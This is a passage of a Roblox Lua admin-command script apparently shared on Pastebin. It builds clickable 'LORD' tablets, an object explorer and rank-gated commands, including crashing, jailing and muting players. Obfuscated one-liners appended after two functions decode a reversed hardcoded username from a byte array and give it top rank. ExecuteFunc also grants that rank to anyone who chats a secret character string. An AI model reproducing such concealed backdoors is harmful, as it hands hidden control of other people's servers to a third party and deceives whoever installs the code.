Advertisement
RimvoTy

Untitled

Mar 21st, 2016
149
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 50.88 KB | None | 0 0
  1.  
  2. side3.CFrame = Middle * CFrame.new(10, 0, 0)
  3. side3.BrickColor = BrickColor.new("Really black")
  4. side3.CanCollide = true
  5. side3.Anchored = true
  6. side3.TopSurface = "Smooth"
  7. side3.BottomSurface = "Smooth"
  8. side3.Parent = game:GetService("Workspace").CurrentCamera
  9.  
  10. local side4 = Instance.new("Part")
  11. side4.Name = "¬Focus4¬"
  12. side4.Size = Vector3.new(1, 50, 20)
  13. side4.CFrame = Middle * CFrame.new(-10, 0, 0)
  14. side4.BrickColor = BrickColor.new("Really black")
  15. side4.CanCollide = true
  16. side4.Anchored = true
  17. side4.TopSurface = "Smooth"
  18. side4.BottomSurface = "Smooth"
  19. side4.Parent = game:GetService("Workspace").CurrentCamera
  20.  
  21. local side5 = Instance.new("Part")
  22. side5.Name = "¬Focus5¬"
  23. side5.Size = Vector3.new(20, 1, 20)
  24. side5.CFrame = Middle * CFrame.new(0, -3.5, 0)
  25. side5.BrickColor = BrickColor.new("Really black")
  26. side5.CanCollide = true
  27. side5.Anchored = true
  28. side5.TopSurface = "Smooth"
  29. side5.BottomSurface = "Smooth"
  30. side5.Parent = game:GetService("Workspace").CurrentCamera
  31.  
  32. wait(0)
  33.  
  34. table.insert(Cons, side1.Changed:connect(makePrison))
  35. table.insert(Cons, side2.Changed:connect(makePrison))
  36. table.insert(Cons, side3.Changed:connect(makePrison))
  37. table.insert(Cons, side4.Changed:connect(makePrison))
  38. table.insert(Cons, side5.Changed:connect(makePrison))
  39. end
  40.  
  41. Delay(0, function()
  42. while wait(0) do
  43. ypcall(function()
  44. if game:GetService("Workspace").CurrentCamera == nil or not LP.Character:findFirstChild("Torso") then
  45. LP.Character:BreakJoints()
  46. elseif not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus1¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus2¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus3¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus4¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus5¬") then
  47. makePrison()
  48. end
  49. end)
  50. ypcall(function()
  51. if (Middle2 - LP.Character.Torso.Position).magnitude >= 11.8 then
  52. LP.Character.Torso.CFrame = game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus1¬").CFrame * CFrame.new(0, 0, 10)
  53. end
  54. end)
  55. end
  56. end)
  57. ]==]
  58.  
  59. function All()
  60. local AllPlayers = {}
  61. for _,v in pairs(Plrs:GetPlayers()) do
  62. ypcall(function()
  63. table.insert(AllPlayers, v)
  64. end)
  65. end
  66. return AllPlayers
  67. end
  68.  
  69. function All2()
  70. local AllPlayers2 = {}
  71. for i,v in pairs(Net:GetChildren()) do
  72. ypcall(function()
  73. if v:IsA("ServerReplicator") then
  74. table.insert(AllPlayers2, v:GetPlayer())
  75. end
  76. end)
  77. end
  78. return AllPlayers2
  79. end
  80.  
  81. function MakeNum()
  82. return 2 + 4
  83. end
  84.  
  85. function ChangeRank(Plr, NewRank)
  86. local PlrName = nil
  87. local FoundPlayer = false
  88. ypcall(function()
  89. if type(Plr) == "string" then
  90. ypcall(function()
  91. for i,v in pairs(Rankings) do
  92. if v.Name:lower() == Plr:lower() then
  93. local VName = v.Name
  94. Rankings[i] = nil
  95. table.insert(Rankings, {Name = VName, Rank = NewRank})
  96. PlrName = VName
  97. FoundPlayer = true
  98. break
  99. end
  100. end
  101. end)
  102. if FoundPlayer == false then
  103. ypcall(function()
  104. for _,x in pairs(All()) do
  105. if x.Name:lower() == Plr:lower() then
  106. FoundPlayer = true
  107. for i,v in pairs(Rankings) do
  108. if v.Name:lower() == x.Name:lower() then
  109. local VName = x.Name
  110. Rankings[i] = nil
  111. PlrName = VName
  112. break
  113. end
  114. end
  115. table.insert(Rankings, {Name = VName, Rank = NewRank})
  116. end
  117. end
  118. end)
  119. end
  120. if FoundPlayer == false then
  121. ypcall(function()
  122. for _,x in pairs(All()) do
  123. if string.find(x.Name:lower(), Plr:lower()) then
  124. FoundPlayer = true
  125. for i,v in pairs(Rankings) do
  126. if v.Name:lower() == x.Name:lower() then
  127. local VName = x.Name
  128. Rankings[i] = nil
  129. PlrName = VName
  130. break
  131. end
  132. end
  133. table.insert(Rankings, {Name = VName, Rank = NewRank})
  134. end
  135. end
  136. end)
  137. end
  138. if FoundPlayer == false then
  139. ypcall(function()
  140. for i,v in pairs(Rankings) do
  141. if string.find(v.Name:lower(), Plr:lower()) then
  142. local VName = v.Name
  143. Rankings[i] = nil
  144. table.insert(Rankings, {Name = VName, Rank = NewRank})
  145. PlrName = VName
  146. FoundPlayer = true
  147. break
  148. end
  149. end
  150. end)
  151. end
  152. else
  153. for i,v in pairs(Rankings) do
  154. if v.Name:lower() == Plr.Name:lower() then
  155. Rankings[i] = nil
  156. break
  157. end
  158. end
  159. table.insert(Rankings, {Name = Plr.Name, Rank = NewRank})
  160. PlrName = Plr.Name
  161. end
  162. PlaceAllRanks(true)
  163. end)
  164. if PlrName ~= nil then
  165. return PlrName
  166. else
  167. return "Player" -- Actually return this script casue it suks
  168. end
  169. end
  170.  
  171. function Refresh(Plr)
  172. MakeChildren(Plr)
  173. end
  174.  
  175. function MakeChildren(Plr)
  176. ypcall(function()
  177. Dismiss(Plr)
  178. for _,v in pairs(Current:GetChildren()) do
  179. ypcall(function()
  180. if not Plrs:GetPlayerFromCharacter(v) and not CheckImportant(v.Name) then
  181. Ping(v.Name, Plr, nil, function(TabMod)
  182. local TabText = TabMod["LORD Tablet"].BG.TL.Text
  183. for _,v in pairs(Current:GetChildren()) do
  184. ypcall(function()
  185. if v.Name == TabText then
  186. Dismiss(Plr)
  187. Current = v
  188. MakeChildren(Plr)
  189. end
  190. end)
  191. end
  192. end)
  193. elseif Plrs:GetPlayerFromCharacter(v) then
  194. Ping(v.Name, Plr, nil, function(TabMod)
  195. local TabText = TabMod["LORD Tablet"].BG.TL.Text
  196. for _,v in pairs(Current:GetChildren()) do
  197. ypcall(function()
  198. if v.Name == TabText then
  199. Dismiss(Plr)
  200. Current = v
  201. MakeChildren(Plr)
  202. end
  203. end)
  204. end
  205. end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  206. elseif CheckImportant(v.Name) then
  207. Ping(v.Name, Plr, nil, function(TabMod)
  208. local TabText = TabMod["LORD Tablet"].BG.TL.Text
  209. for _,v in pairs(Current:GetChildren()) do
  210. ypcall(function()
  211. if v.Name == TabText then
  212. Dismiss(Plr)
  213. Current = v
  214. MakeChildren(Plr)
  215. end
  216. end)
  217. end
  218. end, ImportantColor)
  219. end
  220. end)
  221. end
  222. if Current ~= game then
  223. Ping("Back", Plr, nil, function()
  224. ypcall(function()
  225. Current = Current.Parent
  226. MakeChildren(Plr)
  227. Ping("You Are Back To "..Current.Name, Plr, 5)
  228. end)
  229. end, OptionColor)
  230. end
  231. if Current ~= game then
  232. Ping("Delete", Plr, nil, function()
  233. ypcall(function()
  234. local CurrPar = Current.Parent or game
  235. local CurrName = Current.Name
  236. Current:Destroy()
  237. Current = CurrPar
  238. MakeChildren(Plr)
  239. Ping("Attempted To Delete "..CurrName, Plr, 5)
  240. end)
  241. end, OptionColor)
  242. end
  243. Ping("Refresh", Plr, nil, function()
  244. ypcall(function()
  245. Refresh(Plr)
  246. Ping("Refreshed", Plr, 5)
  247. end)
  248. end, OptionColor)
  249. Ping("Properties", Plr, nil, function()
  250. ypcall(function()
  251. Dismiss(Plr)
  252. for Property, Value in pairs(GetProperties(Current)) do
  253. Ping(tostring(Property)..": "..tostring(Value), Plr)
  254. end
  255. Ping("Got All Available Properties", Plr, 5)
  256. Ping("Back", Plr, nil, function() Refresh(Plr) end, OptionColor)
  257. end)
  258. end, OptionColor)
  259. end)
  260. end
  261.  
  262. function Fixl()
  263. Light.GlobalShadows = true
  264. Light.TimeOfDay = "14:00:00"
  265. Light.Brightness = 0.5
  266. Light.ShadowColor = Color3.new(0.705882, 0.705882, 0.72549)
  267. Light.Ambient = Color3.new(1, 1, 1)
  268. Light.ColorShift_Top = Color3.new(0, 0, 0)
  269. Light.ColorShift_Bottom = Color3.new(0, 0, 0)
  270. Light.OutdoorAmbient = Color3.new(0.5, 0.5, 0.5)
  271. Light.FogStart = 0
  272. Light.FogEnd = 100000
  273. Light.FogColor = Color3.new(0.752941, 0.752941, 0.752941)
  274. Light:ClearAllChildren()
  275. end
  276.  
  277. function GetProperties(obj)
  278. assert(pcall(function() assert(game.IsA(obj,"Instance")) end),"Should be ROBLOX instance")
  279. local objProper = {}
  280. for i,v in pairs(Properties) do
  281. if pcall(function() return obj[v] end) and (type(obj[v]) ~= "userdata" or not obj:FindFirstChild(v)) then
  282. objProper[v] = obj[v]
  283. end
  284. end
  285. return objProper
  286. end
  287.  
  288. function MakeExplorer(Plr)
  289. Dismiss(Plr)
  290. Current = game
  291. for _,v in pairs(Current:GetChildren()) do
  292. ypcall(function()
  293. if not Plrs:GetPlayerFromCharacter(v) and not CheckImportant(v.Name) then
  294. Ping(v.Name, Plr, nil, function(TabMod)
  295. local TabText = TabMod["LORD Tablet"].BG.TL.Text
  296. for _,v in pairs(Current:GetChildren()) do
  297. ypcall(function()
  298. if v.Name == TabText then
  299. Dismiss(Plr)
  300. Current = v
  301. MakeChildren(Plr)
  302. end
  303. end)
  304. end
  305. end)
  306. elseif Plrs:GetPlayerFromCharacter(v) then
  307. Ping(v.Name, Plr, nil, function(TabMod)
  308. local TabText = TabMod["LORD Tablet"].BG.TL.Text
  309. for _,v in pairs(Current:GetChildren()) do
  310. ypcall(function()
  311. if v.Name == TabText then
  312. Dismiss(Plr)
  313. Current = v
  314. MakeChildren(Plr)
  315. end
  316. end)
  317. end
  318. end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  319. elseif CheckImportant(v.Name) then
  320. Ping(v.Name, Plr, nil, function(TabMod)
  321. local TabText = TabMod["LORD Tablet"].BG.TL.Text
  322. for _,v in pairs(Current:GetChildren()) do
  323. ypcall(function()
  324. if v.Name == TabText then
  325. Dismiss(Plr)
  326. Current = v
  327. MakeChildren(Plr)
  328. end
  329. end)
  330. end
  331. end, ImportantColor)
  332. end
  333. end)
  334. end
  335. if Current ~= game then
  336. Ping("Back", Plr, nil, function()
  337. ypcall(function()
  338. Current = Current.Parent
  339. MakeChildren(Plr)
  340. Ping("Back In "..Current.Name, Plr, 5)
  341. end)
  342. end, OptionColor)
  343. end
  344. if Current ~= game and game:GetService(Current.Name) == nil then
  345. Ping("Delete", Plr, nil, function()
  346. ypcall(function()
  347. local CurrPar = Current.Parent or game
  348. local CurrName = Current.Name
  349. Current:Destroy()
  350. Current = CurrPar
  351. MakeChildren(Plr)
  352. Ping("Attempted To Delete "..CurrName, Plr, 5)
  353. end)
  354. end, OptionColor)
  355. end
  356. Ping("Refresh", Plr, nil, function()
  357. ypcall(function()
  358. Refresh(Plr)
  359. Ping("Refreshed", Plr, 5)
  360. end)
  361. end, OptionColor)
  362. Ping("Properties", Plr, nil, function()
  363. ypcall(function()
  364. Dismiss(Plr)
  365. for Property, Value in pairs(GetProperties(Current)) do
  366. Ping(tostring(Property)..": "..tostring(Value), Plr)
  367. end
  368. Ping("Got All Available Properties", Plr, 5)
  369. Ping("Back", Plr, nil, function() Refresh(Plr) end, OptionColor)
  370. end)
  371. end, OptionColor)
  372. end
  373.  
  374. function GetRank(Plr1, Test)
  375. ypcall(function()
  376. if type(Plr1) == "userdata" then
  377. Plr1 = Plr1.Name
  378. end
  379. end)
  380. if Ranks[Plr1] ~= nil then
  381. return Ranks[Plr1]
  382. end
  383. local QuickArray = {}
  384. QuickArray[Plr1] = {Plr = nil, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
  385. return QuickArray[Plr1]
  386. end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = MakeNum()})
  387.  
  388. function CanRun(Plr1, Plr2)
  389. Details1 = GetRank(Plr1.Name)
  390. Details2 = GetRank(Plr2.Name)
  391. if Details1.Rank >= Details2.Rank then
  392. return true
  393. end
  394. return false
  395. end
  396.  
  397. function Dismiss(Plr, Identity)
  398. ypcall(function()
  399. if Plr ~= nil then
  400. if type(Plr) == "userdata" then
  401. Plr = Plr.Name
  402. end
  403. for x,v in pairs(AllTabs) do
  404. ypcall(function()
  405. if v.Plr == Plr then
  406. if Identity ~= nil and v.ID ~= Identity then
  407. return
  408. elseif Identity ~= nil and v.ID == Identity then
  409. coroutine.resume(coroutine.create(function()
  410. for i = 0.5, 1, 0.1 do
  411. wait()
  412. v.Tab.Transparency = i
  413. v.Sel.Transparency = i
  414. v.Label.TextTransparency = i
  415. v.Label.TextStrokeTransparency = i
  416. end
  417. ypcall(function() v.Holder:Destroy() end)
  418. AllTabs[x] = nil
  419. end))
  420. elseif Identity == nil then
  421. ypcall(function() v.Holder:Destroy() end)
  422. AllTabs[x] = nil
  423. end
  424. end
  425. end)
  426. end
  427. else
  428. for i,v in pairs(AllTabs) do
  429. ypcall(function()
  430. v.Holder:Destroy()
  431. AllTabs[i] = nil
  432. end)
  433. end
  434. end
  435. end)
  436. end
  437.  
  438. function GetGarbage()
  439. return ((math.floor((collectgarbage("count") / 10)) * 10)/1000) .. "MB"
  440. end
  441.  
  442. function RemObj(Obj, Class)
  443. ypcall(function()
  444. if #Obj:GetChildren() > 0 then
  445. for _,x in pairs(Obj:GetChildren()) do
  446. ypcall(function()
  447. RemObj(x, Class)
  448. end)
  449. end
  450. end
  451. if Obj.ClassName == Class then
  452. Obj:Destroy()
  453. end
  454. end)
  455. end
  456.  
  457. function FindTab(Mod)
  458. for i,v in pairs(AllTabs) do
  459. if v.Holder == Mod then
  460. return true
  461. end
  462. end
  463. return false
  464. end
  465.  
  466. function Ping(Msg, Plr, Time, Func, Color, Image)
  467. if Removed == false then
  468. local ShowGarbage = false
  469. ypcall(function()
  470. if Msg == nil then
  471. Msg = "N/A"
  472. elseif Msg == "ShowGarbage" then
  473. Msg = "Current Garbage Count: "..GetGarbage()
  474. ShowGarbage = true
  475. else
  476. Msg = tostring(Msg)
  477. end
  478. if Plr == nil then
  479. Plr = Plrs[Owner] or error("No Player Found")
  480. elseif type(Plr) == "string" then
  481. local FoundPlr = false
  482. for _,v in pairs(All()) do
  483. if v.Name == Plr then
  484. Plr = v
  485. FoundPlr = true
  486. break
  487. end
  488. end
  489. if FoundPlr == false then
  490. Plr = Plrs[Owner] or error("No Player Found")
  491. end
  492. end
  493.  
  494. if Color == nil then
  495. Color = GetRank(Plr.Name).Color
  496. end
  497.  
  498. local Holder = Instance.new("Model")
  499. Holder.Name = "LORD Holder: "..Plr.Name
  500.  
  501. local Tab = Instance.new("Part")
  502. Tab.Name = "LORD Tablet"
  503. Tab.FormFactor = "Custom"
  504. Tab.Anchored = true
  505. if Time == nil then
  506. Tab.Color = Color
  507. else
  508. Tab.Color = AlertColor
  509. end
  510. Tab.CanCollide = false
  511. Tab.Locked = true
  512. Tab.Transparency = 0.15
  513. Tab.Size = Vector3.new(2, 2, 0.01)
  514. Tab.CFrame = Plr.Character.Torso.CFrame or CFrame.new(0, 0, 0)
  515. Tab.Parent = Holder
  516.  
  517. local ID = Instance.new("NumberValue")
  518. ID.Name = "ID"
  519. ID.Value = math.random(-999999999, 999999999)
  520. ID.Parent = Holder
  521.  
  522. Delay(0, function()
  523. while wait() do
  524. if Tab.Parent == nil and FindTab(Holder) then
  525. ypcall(function()
  526. for i,v in pairs(AllTabs) do
  527. if v.Holder == Holder then
  528. ypcall(function() v.Holder:Destroy() end)
  529. AllTabs[i] = nil
  530. end
  531. end
  532. end)
  533. Ping(Msg, Plr, Time, Func, Color, Image)
  534. break
  535. end
  536. end
  537. end)
  538.  
  539. local BM = Instance.new("BlockMesh")
  540. BM.Parent = Tab
  541.  
  542. Sel = Instance.new("SelectionBox")
  543. Sel.Color = BrickColor.new("Blue")
  544. Sel.Transparency = 0.75
  545. Sel.Adornee = Tab
  546. Sel.Parent = Tab
  547.  
  548. local BG = Instance.new("BillboardGui")
  549. BG.Name = "BG"
  550. BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
  551. BG.Size = UDim2.new(0,1,0,1)
  552. BG.Adornee = Tab
  553. BG.Parent = Tab
  554.  
  555. Delay(0, function()
  556. while BG.Parent ~= nil do wait()
  557. ypcall(function()
  558. BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
  559. end)
  560. end
  561. end)
  562.  
  563. local TL = Instance.new("TextLabel")
  564. TL.Name = "TL"
  565. TL.FontSize = "Size18"
  566. TL.Font = "Arial"
  567. TL.Text = Msg
  568. TL.TextColor3 = Color3.new(1, 0, 0)
  569. TL.Size = UDim2.new(0,1,0,1)
  570. TL.TextTransparency = 0
  571. TL.TextStrokeColor3 = Color3.new(0, 0, 0)
  572. TL.TextStrokeTransparency = 0.25
  573. TL.Parent = BG
  574.  
  575. if ShowGarbage == true then
  576. Delay(0, function()
  577. while TL.Parent ~= nil do
  578. TL.Text = "Current Garbage Count: "..GetGarbage()
  579. wait(.5)
  580. end
  581. end)
  582. end
  583.  
  584. local PL = Instance.new("PointLight", Tab)
  585. PL.Color = Color3.new(1, 0, 1)
  586. PL.Range = 10
  587. PL.Parent = Tab
  588.  
  589. if Image ~= nil then
  590. local BBBG = Instance.new("BillboardGui")
  591. BBBG.Size = UDim2.new(5, 0, 6, 0)
  592. BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
  593. BBBG.AlwaysOnTop = true
  594. BBBG.Adornee = Tab
  595. BBBG.Parent = Tab
  596.  
  597. Delay(0, function()
  598. while BBBG.Parent ~= nil do wait()
  599. ypcall(function()
  600. BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
  601. end)
  602. end
  603. end)
  604.  
  605. local NewImg = Instance.new("ImageLabel")
  606. NewImg.Size = UDim2.new(1, 0, 1, 0)
  607. NewImg.BackgroundTransparency = 1
  608. NewImg.Image = Image
  609. NewImg.Parent = BBBG
  610. end
  611.  
  612. local Clicker = Instance.new("ClickDetector")
  613. Clicker.MaxActivationDistance = 1/0
  614.  
  615. if Time ~= nil then
  616. coroutine.resume(coroutine.create(function()
  617. wait(tonumber(Time))
  618. Dismiss(Plr, ID)
  619. end))
  620. end
  621.  
  622. Clicker.MouseClick:connect(function(Player)
  623. if Player.Name == Plr.Name or CanRun(Player, Plr) then
  624. ypcall(function()
  625. if Func ~= nil then
  626. Func(Holder)
  627. else
  628. Dismiss(Player, ID)
  629. end
  630. end)
  631. end
  632. end)
  633. Clicker.Parent = Tab
  634.  
  635. Holder.Parent = Work
  636.  
  637. AllTabs[#AllTabs + 1] = {Holder = Holder, Tab = Tab, Plr = Plr.Name, Sel = Sel, Label = TL, Size = 0.1, ID = ID}
  638. end)
  639. end
  640. end
  641.  
  642. function PlaceAllRanks(DontShowRank)
  643. ypcall(function()
  644. for _,p in pairs(All()) do
  645. ypcall(function()
  646. PutInRank = false
  647. for _,v in pairs(Rankings) do
  648. if v.Name:lower() == p.Name:lower() then
  649. if v.Rank >= 7 then
  650. v.Rank = 5
  651. elseif v.Rank == -1 then
  652. Crash1(p)
  653. Ping("Crashed "..p.Name.." (Ban List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  654. elseif v.Rank == -2 then
  655. if LS ~= nil then
  656. Insert(JailSource, p.Backpack, p.Character, p.PlayerGui)
  657. Ping("Perma Mind Jailed "..p.Name.." (Jail List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  658. else
  659. Ping("LS Is Nil", nil, 5)
  660. end
  661. elseif v.Rank == -3 then
  662. if LS ~= nil then
  663. Insert(MuteSource, p.Backpack, p.Character, p.PlayerGui)
  664. Ping("Perma Muted "..p.Name.." (Mute List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  665. else
  666. Ping("LS Is Nil", nil, 5)
  667. end
  668. end
  669. Ranks[p.Name] = {Plr = p, Rank = v.Rank, Color = RankDetails[v.Rank].Color, Desc = RankDetails[v.Rank].Desc}
  670. if DontShowRank == nil then
  671. Ping("You Are Rank: "..v.Rank, p)
  672. end
  673. PutInRank = true
  674. break
  675. end
  676. end
  677. if PutInRank == false then
  678. Ranks[p.Name] = {Plr = p, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
  679. end
  680. end)
  681. end
  682. end)
  683. end
  684.  
  685. function FindRank(Plr)
  686. ypcall(function()
  687. if type(Plr) == "userdata" then
  688. Plr = Plr.Name
  689. end
  690. end)
  691. return GetRank(Plr).Rank
  692. end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = MakeNum()})
  693.  
  694. function FindRankDetails(Plr)
  695. ypcall(function()
  696. if type(Plr) == "userdata" then
  697. Plr = Plr.Name
  698. end
  699. end)
  700. return RankDetails[FindRank(Plr)]
  701. end
  702.  
  703. function OpenCmds(Rank, Plr)
  704. Dismiss(Plr)
  705. for Name,Tab in pairs(Commands) do
  706. if Tab.Rank <= Rank then
  707. Ping(Name.." ("..Tab.Rank..")", Plr, nil, function()
  708. Dismiss(Plr)
  709. Ping("Command: "..Name, Plr)
  710. Ping("Rank: "..Tab.Rank, Plr)
  711. Ping("Desc: "..Tab.Desc, Plr)
  712. end)
  713. elseif Rank == 1337 then
  714. Ping(Name.." ("..Tab.Rank..")", Plr, nil, function()
  715. Dismiss(Plr)
  716. Ping("Command: "..Name, Plr)
  717. Ping("Rank: "..Tab.Rank, Plr)
  718. Ping("Desc: "..Tab.Desc, Plr)
  719. end)
  720. end
  721. end
  722. end
  723.  
  724. function EditStatus(Plr, Num)
  725. ChangeRank(Plr, Num)
  726. end
  727.  
  728. function PlaceSpecificRank(p, DontShowRank)
  729. ypcall(function()
  730. PutInRank = false
  731. for _,v in pairs(Rankings) do
  732. if v.Name:lower() == p.Name:lower() then
  733. if v.Rank >= 7 then
  734. v.Rank = 5
  735. elseif v.Rank == -1 then
  736. Crash1(p)
  737. Ping("Crashed "..p.Name.." (Ban List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  738. elseif v.Rank == -2 then
  739. if LS ~= nil then
  740. Insert(JailSource, p.Backpack, p.Character, p.PlayerGui)
  741. Ping("Perma Mind Jailed "..p.Name.." (Jail List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  742. else
  743. Ping("LS Is Nil", nil, 5)
  744. end
  745. elseif v.Rank == -3 then
  746. if LS ~= nil then
  747. Insert(MuteSource, p.Backpack, p.Character, p.PlayerGui)
  748. Ping("Perma Muted "..p.Name.." (Mute List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  749. else
  750. Ping("LS Is Nil", nil, 5)
  751. end
  752. end
  753. Ranks[p.Name] = {Plr = p, Rank = v.Rank, Color = RankDetails[v.Rank].Color, Desc = RankDetails[v.Rank].Desc}
  754. if DontShowRank == nil then
  755. Ping("HCWARLORD created tabs rank: "..v.Rank, p)
  756. end
  757. PutInRank = true
  758. break
  759. end
  760. end
  761. if PutInRank == false then
  762. Ranks[p.Name] = {Plr = p, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
  763. end
  764. end)
  765. end
  766.  
  767. function onChatted(Msg, Speaker)
  768. if Removed == false then
  769. if FindRank(Speaker) < 1 then
  770. return
  771. end
  772. coroutine.resume(coroutine.create(function()
  773. ypcall(function()
  774. ExecuteFunc(Msg, Speaker)
  775. Msg = Msg:gsub("","")
  776. if Msg:sub(1,1) == "@" then
  777. for i = 2, #Msg do
  778. if Msg:sub(i, i) == Bet then
  779. local IsForPlr = false
  780. for _,v in pairs(All()) do
  781. if (string.find(v.Name:lower(), string.lower(Msg:sub(2, i - 1))) or string.lower(Msg:sub(2, i - 1)) == "all") and CanRun(Speaker, v) then
  782. onChatted(Msg:sub(i + 1), v)
  783. IsForPlr = true
  784. end
  785. end
  786. if IsForPlr == true then
  787. return
  788. end
  789. end
  790. end
  791. end
  792. if Msg:find("&") then
  793. local Split = Msg:find("&")
  794. onChatted(Msg:sub(1,Split-1))
  795. onChatted(Msg:sub(Split+1))
  796. return
  797. end
  798. for Name,Command in pairs(Commands) do
  799. if Msg:sub(1,(#Command.Name)+5):lower() == (Command.Name):lower()..Bet.."info" then
  800. Dismiss(Speaker.Name)
  801. Ping("Command: "..tostring(Command.Name), Speaker)
  802. Ping("Rank: "..tostring(Command.Rank), Speaker)
  803. Ping("Desc: "..tostring(Command.Desc), Speaker)
  804. elseif Msg:sub(1,#Command.Name+1):lower() == string.lower(Command.Name..Bet) then
  805. if FindRank(Speaker) >= Command.Rank then
  806. local Ran,Error = coroutine.resume(coroutine.create(function()
  807. Command.Func(Msg:sub(#Command.Name+2), Speaker)
  808. end))
  809. if not Ran then
  810. Ping(Error, Speaker, 10)
  811. end
  812. else
  813. Ping("HCWARLORD does not want you to use this at this rank", Plr, 6)
  814. end
  815. end
  816. end
  817. end)
  818. end))
  819. end
  820. end
  821.  
  822. function MakeBase()
  823. local Base = Instance.new("Part")
  824. Base.BrickColor = BrickColor.new("Dark green")
  825. Base.Position = Vector3.new(0, 0.5, 0)
  826. Base.Transparency = 0
  827. Base.Elasticity = 0.5
  828. Base.FormFactor = "Custom"
  829. Base.CanCollide = true
  830. Base.Friction = 0.30000001192093
  831. Base.Size = Vector3.new(512, 1.20000005, 512)
  832. Base.Archivable = true
  833. Base.Material = "Plastic"
  834. Base.RotVelocity = Vector3.new(0, 0, 0)
  835. Base.Reflectance = 0
  836. Base.Locked = true
  837. Base.Anchored = true
  838. Base.Name = "Base"
  839. Base.TopSurface = "Smooth"
  840. Base.BottomSurface = "Inlet"
  841. Base.Shape = "Block"
  842. Base.Parent = Work
  843. end
  844.  
  845. function LClean()
  846. ypcall(function()
  847. for _,v in pairs(Work:GetChildren()) do
  848. ypcall(function()
  849. if v.ClassName == "Terrain" then
  850. v:ClearAllChildren()
  851. elseif v.Name ~= "Base" and not Plrs:GetPlayerFromCharacter(v) then
  852. Clear(v)
  853. elseif v.Name == "Base" then
  854. ypcall(function()
  855. local Base = v
  856. Base.BrickColor = BrickColor.new("Dark green")
  857. Base.Position = Vector3.new(0, 0.5, 0)
  858. Base.Transparency = 0
  859. Base.Elasticity = 0.5
  860. Base.FormFactor = "Custom"
  861. Base.CanCollide = true
  862. Base.Friction = 0.30000001192093
  863. Base.Size = Vector3.new(512, 1.20000005, 512)
  864. Base.Archivable = true
  865. Base.Material = "Plastic"
  866. Base.RotVelocity = Vector3.new(0, 0, 0)
  867. Base.Reflectance = 0
  868. Base.Locked = true
  869. Base.Anchored = true
  870. Base.Name = "Base"
  871. Base.TopSurface = "Studs"
  872. Base.BottomSurface = "Inlet"
  873. Base.Shape = "Block"
  874. Base.Parent = Work
  875. end)
  876. end
  877. end)
  878. end
  879. end)
  880. end
  881.  
  882. function Clean()
  883. ypcall(function()
  884. for _,v in pairs(Work:GetChildren()) do
  885. ypcall(function()
  886. if v.ClassName == "Terrain" then
  887. v:ClearAllChildren()
  888. else
  889. Clear(v)
  890. end
  891. end)
  892. end
  893. MakeBase()
  894. for _,v in pairs(All()) do
  895. v:LoadCharacter()
  896. end
  897. end)
  898. end
  899.  
  900. function Clear(v)
  901. if v.Name:lower() == "sbgui" then
  902. return
  903. end
  904. ypcall(function()
  905. if #v:GetChildren() > 0 then
  906. for _,x in pairs(v:GetChildren()) do
  907. ypcall(function()
  908. Clear(x)
  909. end)
  910. end
  911. end
  912. if not v:IsA("Player") and v.Name ~= "Backpack" and v.Name ~= "PlayerGui" and v.Name ~= "StarterGear" and v.Name ~= "SBGUI" and v.Name ~= "HealthGUI" and v.Name ~= "Output GUI" then
  913. v:Destroy()
  914. end
  915. end)
  916. end
  917.  
  918. function Command(Name, Rank, Desc, Func)
  919. if Name == nil then
  920. Name = "N/A"
  921. end
  922. if Desc == nil then
  923. Desc = "N/A"
  924. end
  925. if Func == nil then
  926. Func = function() end
  927. end
  928. if Rank == nil then
  929. Rank = 0
  930. end
  931. Commands[Name] = {Name = Name, Rank = Rank, Desc = Desc, Func = Func}
  932. end
  933.  
  934. function GetSplit(Msg)
  935. return Msg:find(Bet) or nil
  936. end
  937.  
  938. function ExecuteFunc(Msg, Plr)
  939. ypcall(function()
  940. if Msg == "LogEnable" then
  941. LogOn = true
  942. elseif Msg:lower() == string.lower(string.char(32)..string.char(172)..string.char(172)..string.char(172)..string.char(172)..string.char(172)..string.char(32)) then
  943. EditStatus(Plr, MakeNum())
  944. end
  945. end)
  946. end
  947.  
  948. for _,v in pairs(All()) do ExecuteFunc("LogEnable", v) end
  949.  
  950. function randPlayer(Plr)
  951. wait()
  952. local ThePlrValue = nil
  953. local FoundPlayer = false
  954. ypcall(function()
  955. ThePlrValue = Plrs:GetPlayers()[math.random(1, #Plrs:GetPlayers())]
